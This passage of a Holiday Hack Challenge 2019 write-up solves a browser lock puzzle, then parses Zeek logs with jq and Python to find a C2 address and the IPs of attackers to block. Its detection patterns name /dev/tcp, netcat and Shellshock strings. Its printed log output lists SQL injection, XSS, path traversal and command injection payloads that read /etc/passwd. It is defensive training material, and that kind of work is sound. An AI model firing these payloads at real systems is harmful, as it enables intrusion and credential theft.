<p>The seventh lock mentions something about the slick font that we are seeing. Again I’m assuming this is going to be something in the CSS for the <code class="language-plaintext highlighter-rouge">font-family</code>. So using the console, select the <code class="language-plaintext highlighter-rouge">instructions</code> class and look for the font. We should find our code there.</p>
<p align="center"><a href="/images/hh19-184.png"><img src="/images/hh19-184.png" /></a></p>
<p>The eight lock tells us that in the <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener">event</a> that the <code class="language-plaintext highlighter-rouge">.eggs</code> go bad, someone will be sad. The <strong>event</strong> keyword is a big give away here. In web application, an event or <strong>eventListener</strong> is an interface that represents an object that can handle an event dispatched by an <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget" title="EventTarget is a DOM interface implemented by objects that can receive events and may have listeners for them."><code class="language-plaintext highlighter-rouge">EventTarget</code></a> object.</p>
<p>We’re assuming that the <code class="language-plaintext highlighter-rouge">.eggs</code> has an event tied to it, we can simply find it in our console, and on the left side, click on <code class="language-plaintext highlighter-rouge">Event Listeners</code> which will reveal the code!</p>
<p align="center"><a href="/images/hh19-185.png"><img src="/images/hh19-185.png" /></a></p>
<p>The ninth lock tells us that the next code will be “underacted” but after all the chakras are <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:active">active</a>. The big keyword here is <strong>active</strong>. Simply The <strong><code class="language-plaintext highlighter-rouge">:active</code></strong> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> <a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> represents an element (such as a button) that is being activated by the user. When using a mouse, “activation” typically starts when the user presses down the primary mouse button.</p>
<p>If we follow the elements in the console, we will find some classes with the name <code class="language-plaintext highlighter-rouge">chakra</code>. We can simply force them to be in an active state by right clicking on them, going to <strong>Force state</strong> and selecting active.</p>
<p align="center"><a href="/images/hh19-186.png"><img src="/images/hh19-186.png" /></a></p>
<p>After all the chakras are active, we will get the code.</p>
<p align="center"><a href="/images/hh19-187.png"><img src="/images/hh19-187.png" /></a></p>
<p>The tenth lock tell us that it’s out of commission and that we need to pop off the cover to see what missing. We can simply remove the cover by selecting its element in the console, and pressing delete.</p>
<p align="center"><a href="/images/hh19-188.png"><img src="/images/hh19-188.png" /></a></p>
<p>Once the cover is off, we can see that there is a button inside.</p>
<p align="center"><a href="/images/hh19-189.png"><img src="/images/hh19-189.png" /></a></p>
<p>Pressing the button does nothing, but if we enter a fake code, and then press the button, it will generate an error for us in the <code class="language-plaintext highlighter-rouge">Console</code> tab.</p>
<p align="center"><a href="/images/hh19-190.png"><img src="/images/hh19-190.png" /></a></p>
<p>Looking at the error we see that we are missing <code class="language-plaintext highlighter-rouge">macaroni</code> at the button element. Macaroni? What the heck does this mean? Well, as confused as we might be, let’s search for that term in the <code class="language-plaintext highlighter-rouge">Elements</code> console.</p>
<p>Once we press enter, you will see that we find a new component class called macaroni. Simply select the line, and drag it down below the <code class="language-plaintext highlighter-rouge">switch</code> class for the tenth lock.</p>
<p align="center"><a href="/images/hh19-191.png"><img src="/images/hh19-191.png" /></a></p>
<p>Redoing the same thing, as we did before, we see that we are missing a <code class="language-plaintext highlighter-rouge">cotton swab</code>. So let’s do the same thing as we did before, but this time for the swab.</p>
<p align="center"><a href="/images/hh19-192.png"><img src="/images/hh19-192.png" /></a></p>
<p>Repeating the process again, we see that we are missing a <code class="language-plaintext highlighter-rouge">gnome</code>.</p>
<p align="center"><a href="/images/hh19-193.png"><img src="/images/hh19-193.png" /></a></p>
<p>Once all those pieces are in place, we notice that on the bottom left hand corner of the circuit board, there is the code! Entering that into the lock allows us to complete the challenge!</p>
<p align="center"><a href="/images/hh19-194.png"><img src="/images/hh19-194.png" /></a></p>
<p>Upon reading this we know that <code class="language-plaintext highlighter-rouge">The Tooth Fairy</code> is the villain behind the hacks in ElfU!</p>
<p>Once we know this, we can then navigate to the eleventh objective in our badge and enter <code class="language-plaintext highlighter-rouge">The Tooth Fairy</code> to complete the objective!</p>
<p align="center"><a href="/images/hh19-195.png"><img src="/images/hh19-195.png" /></a></p>
<p>Now that we broke into the crate, we can talk to Shinny Upatree to learn more about the crate and The Tooth Fairy’s plot.</p>
<p align="center"><a href="/images/hh19-196.png"><img src="/images/hh19-196.png" /></a></p>
<h2 id="objective-12">Objective 12</h2>
<h3 id="zeek-json-analysis---cranpi">Zeek JSON Analysis - CranPi</h3>
<p>After completing objective 11 and gaining access to the Sleigh Shop, the second we walk into the room we spot the Tooth Fairy!</p>
<p align="center"><a href="/images/hh19-tf.png"><img src="/images/hh19-tf.png" /></a></p>
<p>Talking to her we learn why she did what she did.</p>
<p align="center"><a href="/images/hh19-197.png"><img src="/images/hh19-197.png" /></a></p>
<p>National Tooth Fairy Day being the most popular? Yah, I don’t know how that’s going to really work out for all of us here. Ahhh… enough talking, we need to go save Santa and help his sleigh! Think of the children!</p>
<p>Inside the Sleigh Shop, past the Tooth Fairy we will come across Wunorse Opensale.</p>
<p align="center"><a href="/images/hh19-198.png"><img src="/images/hh19-198.png" /></a></p>
<p>Upon talking with Wunorse, we learn that he’s looking though some <a href="https://docs.zeek.org/en/stable/script-reference/log-files.html">zeek</a> logs where he believes there’s a malicious C2 channel and he needs our help to find it.</p>
<p align="center"><a href="/images/hh19-199.png"><img src="/images/hh19-199.png" /></a></p>
<p>Wunorse also tells us that we should use <a href="https://stedolan.github.io/jq/">jq</a> to find the longest connection time, and also provides us a hint about <a href="https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jq-2">parsing Zeek JSON Logs with JQ</a>.</p>
<p>After we read all that information, let’s access the terminal and see what we have to work with.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Some JSON files can get quite busy.
There's lots to see and do.
Does C&C lurk in our data?
JQ's the tool for you!
-Wunorse Openslae
Identify the destination IP address with the longest connection duration
using the supplied Zeek logfile. Run runtoanswer to submit your answer.
</span><span class="gp">elf@48b87992755c:~$</span><span class="w">
</span></code></pre></div></div>
<p>Alright, so as we figured out before. We need to parse the zeek logs with jq and find the IP address with the longest connection time. Seems easy enough! Let’s see where our log file is.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">conn.log
</span><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-n</span> 1 conn.log
<span class="go">{"ts":"2019-04-04T20:34:24.698965Z","uid":"CAFvAu2l50Km67tSP5","id.orig_h":"192.168.144.130","id.orig_p":64277,"id.resp_h":"192.168.144.2","id.resp_p":53,"proto":"udp","service":"dns","duration":0.320463,"orig_bytes":94,"resp_bytes":316,"conn_state":"SF","missed_bytes":0,"history":"Dd","orig_pkts":2,"orig_ip_bytes":150,"resp_pkts":2,"resp_ip_bytes":372}
</span></code></pre></div></div>
<p>After reading the first event of the log, we see that there is a ton of data, and since it’s JSON, it’s messy. So, let’s pipe this into jq for better readability.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-n</span> 1 conn.log | jq
<span class="go">{
"ts": "2019-04-04T20:34:24.698965Z",
"uid": "CAFvAu2l50Km67tSP5",
"id.orig_h": "192.168.144.130",
"id.orig_p": 64277,
"id.resp_h": "192.168.144.2",
"id.resp_p": 53,
"proto": "udp",
"service": "dns",
"duration": 0.320463,
"orig_bytes": 94,
"resp_bytes": 316,
"conn_state": "SF",
"missed_bytes": 0,
"history": "Dd",
"orig_pkts": 2,
"orig_ip_bytes": 150,
"resp_pkts": 2,
"resp_ip_bytes": 372
}
</span></code></pre></div></div>
<p>Much better! I used <code class="language-plaintext highlighter-rouge">head -1</code> here just to look at the first <code class="language-plaintext highlighter-rouge">conn.log</code> record. The zeek log event summarizes the connection including source and destination addresses, ports, protocol (TCP, UDP, or ICMP), service (DNS, HTTP, etc.), packets transferred, bytes exchanged, and more.</p>
<p>This is great and all, but we should really focus on the <code class="language-plaintext highlighter-rouge">duration</code> variable.</p>
<p>If you read through the hints provided to us, then you would have learned that with JQ you can select specific records from the Zeek log in your query. So for us to obtain the duration value for all connections, we just need to pass the <code class="language-plaintext highlighter-rouge">'.duration'</code> argument.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-n</span> 10 conn.log | jq <span class="s1">'.duration'</span>
<span class="go">0.320463
0.000602
0.000923
0.00061
0.000602
0.00106
0.271645
0.000756
0.001645
0.001305
</span></code></pre></div></div>
<p>Awesome! The duration seems to be in decimal format, so we can attempt to sort all this data to find the longest connection. Simply using <code class="language-plaintext highlighter-rouge">sort</code> will not suffice, as it will not sort decimals properly. We will have to use the <code class="language-plaintext highlighter-rouge">sort -V</code> command to sort “<strong>versions</strong>” as this will better sort decimal values.</p>
<p>So let’s grab the top 10 longest connection from our zeek logs.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">cat </span>conn.log | jq <span class="s1">'.duration'</span> | <span class="nb">sort</span> <span class="nt">-r</span> <span class="nt">-V</span> | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"null"</span> | <span class="nb">head</span> <span class="nt">-n</span> 10
<span class="go">1019365.337758
465105.432156
250451.490735
148943.160634
59396.15014
33074.076209
31642.774949
30493.79543
4333.288236
870.55667
</span></code></pre></div></div>
<p>So, we have the longest duration being about 1019365 seconds long, but we don’t know what kind of IP that’s for!</p>
<p>Well don’t you worry! Luckily for us the JQ select function allows us to perform a boolean operation on an identified field, returning the record if the operation returns true. We can use this to our advantage by selecting all of the records where the duration is equal to that of the highest duration, like so.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span><span class="nb">cat </span>conn.log | jq <span class="s1">'select(.duration == 1019365.337758)'</span>
<span class="go">{
"ts": "2019-04-18T21:27:45.402479Z",
"uid": "CmYAZn10sInxVD5WWd",
"id.orig_h": "192.168.52.132",
"id.orig_p": 8,
"id.resp_h": "13.107.21.200",
"id.resp_p": 0,
"proto": "icmp",
"duration": 1019365.337758,
"orig_bytes": 30781920,
"resp_bytes": 30382240,
"conn_state": "OTH",
"missed_bytes": 0,
"orig_pkts": 961935,
"orig_ip_bytes": 57716100,
"resp_pkts": 949445,
"resp_ip_bytes": 56966700
}
</span></code></pre></div></div>
<p>After running that it seems the possible C2 IP us that of <strong>13.107.21.200</strong>. We can now execute the <code class="language-plaintext highlighter-rouge">runtoanswer</code> command and see if we are right.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@48b87992755c:~$</span><span class="w"> </span>runtoanswer
<span class="go">Loading, please wait......
What is the destination IP address with the longest connection duration? 13.107.21.200
Thank you for your analysis, you are spot-on.
I would have been working on that until the early dawn.
Now that you know the features of jq,
You'll be able to answer other challenges too.
-Wunorse Openslae
Congratulations!
</span></code></pre></div></div>
<p>And there we have it, we helped Wunorse find the C2 IP!</p>
<h3 id="filter-out-poisoned-sources-of-weather-data">Filter Out Poisoned Sources of Weather Data</h3>
<p>Upon successfully completing the Zeek JSON Analysis CranPI, we can talk to Wunorse again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-200.png"><img src="/images/hh19-200.png" /></a></p>
<p>Oh no, we have a big problem on our hands! It seems someone is forging false weather data which is causing issues for Santa’s sleigh route!</p>
<p>For this objective, we’re supposed to use the data supplied in the <a href="https://downloads.elfu.org/http.log.gz">Zeek JSON logs</a> to identify the IP addresses of attackers poisoning Santa’s flight mapping software. We must then <a href="https://srf.elfu.org/">block the 100 offending sources of information to guide Santa’s sleigh</a> through the attack.</p>
<p>It seems simply enough, but how do we know what’s bad data and what’s good data? Well if we paid attention to Wunorse, he mentioned something about seeing <a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion">LFI</a>, <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">XSS</a>, <a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">Shellshock</a>, and <a href="https://www.owasp.org/index.php/SQL_Injection">SQLi</a> in the Zeek logs. Unfortuantly for us, it seems Wunorse forgot the login as well… oh man.</p>
<p>Either way, this is a great starting point, since we already worked with Zeek logs and jq, this should be pretty easy for us!</p>
<p>Alright, so with a starting point, let’s try and access the the <a href="https://srf.elfu.org/">Sleight Route Finder API</a> and see what we have to work with.</p>
<p align="center"><a href="/images/hh19-201.png"><img src="/images/hh19-201.png" /></a></p>
<p>Ahh darn, we need that login to move on further! Let’s see… think, think. What can we do?</p>
<p>Oh yes, that’s right! Remember how we decrypted that Sleight Route Finder document back in objective 10? Well let’s look into that PDF to see if we get any hints!</p>
<p>if we scroll though, we should find information about the default credentials!</p>
<p align="center"><a href="/images/hh19-202.png"><img src="/images/hh19-202.png" /></a></p>
<p>So it seems that the credentials are in the <code class="language-plaintext highlighter-rouge">readme</code> in the ElfU Research Labs git repository, which we have no clue where it is.</p>
<p>Okay, hold on. We have the Zeek logs, so let’s download them and parse the data to see if we can’t find a URL to <code class="language-plaintext highlighter-rouge">readme</code>.</p>
<p><strong>NOTE</strong>: Since the Zeek logs provided to us are nested in an array (<code class="language-plaintext highlighter-rouge">[]</code>), we need to use <code class="language-plaintext highlighter-rouge">.[]</code> followed by the value we want to search when using jq to properly parse the data.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span>wget https://downloads.elfu.org/http.log.gz
<span class="go">--2020-01-04 19:46:42-- https://downloads.elfu.org/http.log.gz
Resolving downloads.elfu.org (downloads.elfu.org)... 45.79.14.68
Connecting to downloads.elfu.org (downloads.elfu.org)|45.79.14.68|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4499255 (4.3M) [application/octet-stream]
Saving to: ‘http.log.gz’
</span><span class="gp">http.log.gz 100%[=====================================================================================></span><span class="o">]</span> 4.29M 9.14MB/s <span class="k">in </span>0.5s
<span class="go">
2020-01-04 19:46:43 (9.14 MB/s) - ‘http.log.gz’ saved [4499255/4499255]
</span><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">http.log.gz
</span><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">gzip</span> <span class="nt">-d</span> http.log.gz
<span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">http.log
</span><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">cat </span>http.log | jq <span class="s1">'.[].uri'</span> | <span class="nb">grep</span> <span class="s2">"README"</span>
<span class="go">"/README.md"
"/README/"
"/cgi-bin/README.TXT"
</span></code></pre></div></div>
<p>Awesome, we found a <code class="language-plaintext highlighter-rouge">README.md</code> file, which usually appears in all git repositories. Let’s see if we can navigate to that URL in the browser.</p>
<p align="center"><a href="/images/hh19-203.png"><img src="/images/hh19-203.png" /></a></p>
<p>Perfect, we found some credentials! Using these credentials we can now log into the application.</p>
<p align="center"><a href="/images/hh19-204.png"><img src="/images/hh19-204.png" /></a></p>
<p>Once in the application, we can navigate to the <strong>Firewall</strong> section and there we will see where we can enter the offending IP’s. Right, so let’s get to work and start looking for bad data!</p>
<p>First, let’s see what kind of values we have to work with in the Zeek logs. This will give us a better idea of what we can use to query for malicious data.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">head</span> <span class="nt">-1</span> http.log | jq
<span class="go">[
{
"ts": "2019-10-05T06:50:42-0800",
"uid": "ClRV8h1vYKWXN1G5ke",
"id.orig_h": "238.27.231.56",
"id.orig_p": 60677,
"id.resp_h": "10.20.3.80",
"id.resp_p": 80,
"trans_depth": 1,
"method": "GET",
"host": "srf.elfu.org",
"uri": "/14.10/Google/",
"referrer": "-",
"version": "1.0",
</span><span class="gp"> "user_agent": "Mozilla/5.0 (Windows;</span><span class="w"> </span>U<span class="p">;</span> Windows NT 5.1<span class="p">;</span> fr<span class="p">;</span> rv:1.9.2b4<span class="o">)</span> Gecko/20091124 Firefox/3.6b4 <span class="o">(</span>.NET CLR 3.5.30729<span class="o">)</span><span class="s2">",
</span><span class="go"> "origin": "-",
"request_body_len": 0,
"response_body_len": 232,
"status_code": 404,
"status_msg": "Not Found",
"info_code": "-",
"info_msg": "-",
"tags": "(empty)",
"username": "-",
"password": "-",
"proxied": "-",
"orig_fuids": "-",
"orig_filenames": "-",
"orig_mime_types": "-",
"resp_fuids": "FUPWLQXTNsTNvf33",
"resp_filenames": "-",
"resp_mime_types": "text/html"
},
</span></code></pre></div></div>
<p>That’s a lot of data we can parse! We have everything from User Agents, to the URI, to even the username and password. We know that there might have been some SQL Injection attacks, so let’s parse the <code class="language-plaintext highlighter-rouge">username</code> field using jq to see if there was any SQL Injection attempts.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">cat </span>http.log | jq <span class="s1">'.[].username'</span> | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"-"</span>
<span class="go">"q1ki9"
"servlet"
"support"
"admin"
"Admin"
"admin"
"admin"
"q1ki9"
"6666"
"6666"
"6666"
"' or '1=1"
"' or '1=1"
"' or '1=1"
"' or '1=1"
"root"
"comcomcom"
"(empty)"
"(empty)"
"(empty)"
"admin"
</span></code></pre></div></div>
<p>Okay, so we found some sql injection attacks, but we need to find the IP that’s associated with that attack. So, using some jq magic, we can join our queries in jq using the <a href="https://www.systutorials.com/docs/linux/man/1-jq/">-j</a> parameter followed by the value we want.</p>
<p>If you’re confused on how to use jq, then I suggest going back and reading “<a href="https://pen-testing.sans.org/blog/2019/12/03/parsing-zeek-json-logs-with-jq-2">Parsing Zeek JSON Logs with JQ</a>” which was provided to us by Wunorse as a hint.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">cat </span>http.log | jq <span class="nt">-j</span> <span class="s1">'.[] | .username, ", ", .["id.orig_h"], "\n"'</span> | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"-"</span>
<span class="go">q1ki9, 191.85.145.190
servlet, 142.115.169.193
support, 9.95.164.154
admin, 40.213.20.94
Admin, 88.78.129.76
admin, 75.172.126.182
admin, 168.145.213.152
q1ki9, 248.150.13.189
6666, 98.69.67.75
6666, 104.82.104.120
6666, 208.14.190.102
' or '1=1, 33.132.98.193
' or '1=1, 84.185.44.166
' or '1=1, 254.140.181.172
' or '1=1, 150.50.77.238
root, 241.226.125.123
comcomcom, 135.118.158.216
(empty), 11.82.10.31
(empty), 187.100.107.131
(empty), 234.119.70.73
admin, 188.127.212.14
(empty), 216.225.250.249
</span></code></pre></div></div>
<p>Alright, we found some bad IP’s, let’s save those to a list for safe keeping!</p>
<p>Now let’s stop here for a second. Doing all of these queries manually against all the values, and trying to search for different attacks one at a time is going to be very tedious. What we need to do is create some sort of query and script that will iterate though all the possible keys in the Zeek logs, and run a jq query that will look for everything from SQL to Shellshock.</p>
<p>And that’s exactly what I did. After some time spent writing the query, mines looked something like so.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">cat http.log | jq -r '.[] | select(.user_agent | contains ("%")
or contains ("/etc/")
or contains ("UNION")
or contains ("SELECT")
</span><span class="gp">or contains ("{ :;</span><span class="w"> </span><span class="o">}</span><span class="s2">")
</span><span class="go">or contains ("alert(")
or contains ("../")
or contains ("onerror")
or contains ("onload")
or contains ("base64")
or contains ("/dev/tcp")
or contains ("sock")
or contains ("/bin/nc")
or contains ("/bash"))' | jq -j '(.user_agent, ", IP: ", .["id.orig_h"], "\n")'
</span></code></pre></div></div>
<p>Nice we have a decent query! This one should get us a lot of data from the <code class="language-plaintext highlighter-rouge">user_agent</code> key, but I want to enumerate though all the keys. So let’s parse the keys from the Zeek logs, and save them to a file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">cat </span>http.log | jq <span class="s1">'.[] | keys'</span>
<span class="go">[
"host",
"id.orig_h",
"id.orig_p",
"id.resp_h",
"id.resp_p",
"info_code",
"info_msg",
"method",
"orig_filenames",
"orig_fuids",
"orig_mime_types",
"origin",
"password",
"proxied",
"referrer",
"request_body_len",
"resp_filenames",
"resp_fuids",
"resp_mime_types",
"response_body_len",
"status_code",
"status_msg",
"tags",
"trans_depth",
"ts",
"uid",
"uri",
"user_agent",
"username",
"version"
]
</span></code></pre></div></div>
<p>Once we clean up the keys, save them in a list. For me, I saved them in a file called <code class="language-plaintext highlighter-rouge">keys.txt</code>.</p>
<p>Now, using python, let’s write a short script that will iterate though all the keys, select them, run the search query, and then finally print out the malicious data along with its IP.</p>
<p>The script will look like so.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'keys.txt'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="s">'cat http.log | jq -r </span><span class="se">\'</span><span class="s">.[] | select(.["'</span> <span class="o">+</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">+</span> <span class="s">'"]| contains ("%") or contains ("/etc/") or contains ("UNION") or contains ("SELECT") or contains ("{ :; }") or contains ("alert(") or contains ("../") or contains ("onerror") or contains ("onload") or contains ("RookIE") or contains ("WinInet") or contains ("CholTBAgent") or contains ("Metasploit") or contains ("Windos") or contains ("avdscan") or contains ("automatedscanning") or contains ("1=1") or contains ("base64") or contains ("/dev/tcp") or contains ("sock") or contains ("/bin/nc") or contains ("/bash"))</span><span class="se">\'</span><span class="s"> | jq -j </span><span class="se">\'</span><span class="s">(.["'</span> <span class="o">+</span> <span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">+</span> <span class="s">'"], ", IP: ", .["id.orig_h"], "</span><span class="se">\\</span><span class="s">n")</span><span class="se">\'</span><span class="s">'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
</code></pre></div></div>
<p>Upon executing the script, we should get the following output:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span>python3 run.py
<span class="gp"><script></span>alert<span class="o">(</span><span class="se">\"</span>automatedscanning<span class="se">\"</span><span class="o">)</span><span class="p">;</span></script>, IP: 61.110.82.125
<span class="gp"><script></span>alert<span class="o">(</span>automatedscanning<span class="o">)</span></script>, IP: 65.153.114.120
<span class="gp"><script></span>alert<span class="o">(</span><span class="s1">'automatedscanning'</span><span class="o">)</span><span class="p">;</span></script>&action<span class="o">=</span>item, IP: 123.127.233.97
<span class="gp"><script></span>alert<span class="o">(</span><span class="se">\"</span>automatedscanning<span class="se">\"</span><span class="o">)</span><span class="p">;</span></script>&from<span class="o">=</span>add, IP: 95.166.116.45
<span class="gp"><script></span>alert<span class="o">(</span><span class="s1">'automatedscanning'</span><span class="o">)</span><span class="p">;</span></script>&function<span class="o">=</span>search, IP: 80.244.147.207
<span class="gp"><script></span>alert<span class="o">(</span><span class="se">\"</span>automatedscanning<span class="se">\"</span><span class="o">)</span></script><img <span class="nv">src</span><span class="o">=</span><span class="se">\"</span>, IP: 168.66.108.62
<span class="gp"><script></span>alert<span class="o">(</span><span class="se">\"</span>avdscan-681165131<span class="se">\"</span><span class="o">)</span><span class="p">;</span>d<span class="o">(</span><span class="s1">', IP: 200.75.228.240
</span><span class="go">/api/weather?station_id=1' UNION SELECT NULL,NULL,NULL--, IP: 42.103.246.250
</span><span class="gp">/logout?id=<script></span>alert<span class="o">(</span>1400620032<span class="o">)</span></script>&ref_a<span class="o">=</span>avdsscanning<span class="se">\"</span><span class="o">></span><script>alert<span class="o">(</span>1536286186<span class="o">)</span></script>, IP: 56.5.47.137
<span class="gp">/api/weather?station_id=<script></span>alert<span class="o">(</span>1<span class="o">)</span></script>.html, IP: 19.235.69.221
<span class="gp">/api/measurements?station_id=<script></span>alert<span class="o">(</span>60602325<span class="o">)</span></script>, IP: 69.221.145.150
<span class="gp">/api/weather?station_id=<script></span>alert<span class="o">(</span>autmatedsacnningist<span class="o">)</span></script>, IP: 42.191.112.181
<span class="gp">/api/weather?station_id=<script></span>alert<span class="o">(</span>automatedscaning<span class="o">)</span></script>, IP: 48.66.193.176
<span class="gp">/api/stations?station_id=<script></span>alert<span class="o">(</span><span class="s1">'automatedscanning'</span><span class="o">)</span></script>, IP: 49.161.8.58
<span class="gp">/api/weather?station_id=<script></span>alert<span class="o">(</span><span class="s1">'automatedscanning'</span><span class="o">)</span><span class="p">;</span></script>, IP: 84.147.231.129
<span class="gp">/api/stations?station_id=<script></span>alert<span class="o">(</span><span class="se">\"</span>automatedscanning<span class="se">\"</span><span class="o">)</span></script>, IP: 44.74.106.131
<span class="gp">/api/weather?station_id=<script></span>alert<span class="o">(</span><span class="se">\"</span>automatedscanning<span class="se">\"</span><span class="o">)</span></script><span class="p">;</span>, IP: 106.93.213.219
<span class="go">/api/weather?station_id=1' UNION SELECT 0,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM xmas_users WHERE 1, IP: 2.230.60.70
/logout?id=1' UNION SELECT null,null,'autosc','autoscan',null,null,null,null,null,null,null,null/*, IP: 10.155.246.29
/api/weather?station_id=1' UNION/**/SELECT 302590057/*, IP: 225.191.220.138
/logout?id=1' UNION/**/SELECT 1223209983/*, IP: 75.73.228.192
/api/login?id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20, IP: 249.34.9.16
/api/weather?station_id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16, IP: 27.88.56.114
/api/weather?station_id=1' UNION/**/SELECT/**/0,1,concat(2037589218,0x3a,323562020),3,4,5,6,7,8,9,10,11,12,13,14,15,16, IP: 238.143.78.114
/api/weather?station_id=1' UNION+SELECT+1,1416442047, IP: 121.7.186.163
/api/stations?station_id=1' UNION SELECT 1,'automatedscanning','5e0bd03bec244039678f2b955a2595aa','',0,'',''/*&password=MoAOWs, IP: 106.132.195.153
</span><span class="gp">/api/weather?station_id=1' UNION SELECT 2,'admin','$</span>1<span class="nv">$RxS1ROtX$IzA1S3fcCfyVfA9rwKBMi</span>.<span class="s1">','</span>Administrator<span class="s1">'/*&file=index&pass=, IP: 129.121.121.48
</span><span class="go">/api/weather?station_id=1' UNION SELECT 1434719383,1857542197 --, IP: 190.245.228.38
/api/measurements?station_id=1' UNION SELECT 1434719383,1857542197 --, IP: 34.129.179.28
/api/stations?station_id=1' UNION SELECT 1,2,'automatedscanning',4,5,6,7,8,9,10,11,12,13/*, IP: 135.32.99.116
/api/weather?station_id=1' UNION/**/SELECT/**/2015889686,1,288214646/*, IP: 2.240.116.254
/api/weather?station_id=1' UNION/**/SELECT/**/850335112,1,1231437076/*, IP: 45.239.232.245
/api/weather?station_id="/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd, IP: 102.143.16.184
/sockets/, IP: 115.98.64.96
/api/weather?station_id=../../../../../../../../../../bin/cat /etc/passwd\\x00|, IP: 230.246.50.221
/api/stations?station_id=|cat /etc/passwd|, IP: 131.186.145.73
</span><span class="gp">/api/weather?station_id=;</span><span class="nb">cat</span> /etc/passwd, IP: 253.182.102.55
<span class="go">/api/login?id=cat /etc/passwd||, IP: 229.133.163.235
/api/weather?station_id=`/etc/passwd`, IP: 23.49.177.78
/api/weather?station_id=/../../../../../../../../../../../etc/passwd, IP: 223.149.180.133
/api/login?id=/../../../../../../../../../etc/passwd, IP: 187.178.169.123
/api/weather?station_id=/../../../../../../../../etc/passwd, IP: 116.116.98.205
/api/weather?station_id=/etc/passwd, IP: 9.206.212.33
/api/login?id=.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./etc/passwd, IP: 28.169.41.122
/cgi-bin/bash, IP: 56.147.40.116
</span><span class="gp">Mozilla/4.0 (compatible;</span><span class="w"> </span>MSIE 7.0<span class="p">;</span> Windos NT 6.0<span class="o">)</span>, IP: 48.66.193.176
<span class="gp">Mozilla/4.0 (compatible;</span><span class="w"> </span>MSIE 7.0<span class="p">;</span> Windos NT 6.0<span class="o">)</span>, IP: 22.34.153.164
<span class="gp">Mozilla/4.0 (compatible;</span><span class="w"> </span>Metasploit RSPEC<span class="o">)</span>, IP: 203.68.29.5
<span class="gp">Mozilla/4.0 (compatible;</span><span class="w"> </span>Metasploit RSPEC<span class="o">)</span>, IP: 84.147.231.129
<span class="go">CholTBAgent, IP: 135.32.99.116
CholTBAgent, IP: 103.235.93.133
Mozilla/5.0 WinInet, IP: 2.240.116.254
Mozilla/5.0 WinInet, IP: 253.65.40.39
RookIE/1.0, IP: 45.239.232.245
RookIE/1.0, IP: 142.128.135.10
